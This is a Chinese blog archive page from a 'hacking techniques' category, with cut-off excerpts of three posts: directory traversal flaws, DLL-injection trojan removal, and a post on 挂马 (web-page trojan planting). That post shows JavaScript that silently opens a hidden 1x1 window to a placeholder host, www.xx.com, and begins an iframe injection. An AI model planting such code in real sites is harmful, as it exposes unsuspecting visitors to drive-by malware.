装B吧..._博客_黑客技术/archives

文章列表

您正在查看 "黑客技术/archives" 分类下的文章

2007年04月07日星期六 20:33

转自：http://www.canlei.cn/article.asp?id=119

目录遍历漏洞在国内外有许多不同的叫法,比如也可以叫做信息泄露漏洞,非授权文件包含漏洞.名称虽然多,可他们却有一个共同的成因,就是在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知.这类漏洞大家比较熟悉的可能就是在一些邮件列表程序以及网络硬盘程序中,其实这类漏洞还广泛存在与一些国外的BLOG程序中,这类漏洞大概分两种下面就来

阅读全文>>

类别：黑客技术/archives | 评论(0) | 浏览()

挂马代码的用法

2006年08月07日星期一 10:31

关于对[挂马代码]的一点看法：

可能大家一看到是htm的就想到用下面代码：

但这个很不安全，看我是怎么做滴。嘻~~~

<SCRIPT language=javascript>
window.open("http://www.xx.com/test.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>

学过java的都知道上面一段代码的意思了把！打开网站的同时也就打开了我们的http://www.xx.com/test.htm

还有一点就是比较隐蔽的那就是使用js文件

document.write("<iframe wid

阅读全文>>

类别：黑客技术/archives | 评论(1) | 浏览()

【转】动态嵌入式DLL木马发现与清除方法

2006年08月05日星期六 08:11

随着MS的操作系统从Win98过渡到Winnt系统(包括2k/xp)，MS的任务管理器也一下子脱胎换骨，变得火眼金睛起来(在WINNT下传统木马再也无法隐藏自己的进程)，这使得以前在win98下靠将进程注册为系统服务就能够从任务管理器中隐形的木马面临前所未有的危机，所以木马的开发者及时调整了开发思路，所以才会有今天这篇讨论如何清除动态嵌入式DLL木马的文章。

　　首先，我们来了解一下什么是动态嵌入式木马，为了在NT系统下能够继续隐藏进程，木马的开发者们开始利用DLL(Dynamic Link Library动态链接库)文件，起初他们只是将自己的木马写成DLL形式来替换系统中负责Win Socket1.x的函数调用wsock32.dll(Win Socket2中则由WS2_32.DLL负责)，这样通过对约定函数的操作和对未知函数的转发(DLL木马替换wsock32.dll时会将之更名，以便实现日后的函数转发)来实现远程控制的功能。但是随着MS数字签名技术和文件恢复功能的出台，这种DLL马的生命力也日渐衰弱了，于是在开发者的努力下出现了时下的主流木马--动态嵌入式DLL木马,将DLL木马嵌入到正在运行的系统进程中.explorer.exe、svchost.exe、smss.exe等无法结束的系统关键进程是DLL马的最爱，这样这样在任务管理器里就不会出

阅读全文>>

类别：黑客技术/archives | 评论(0) | 浏览()

[首页] [上一页] [1] 2

文章分类

文章存档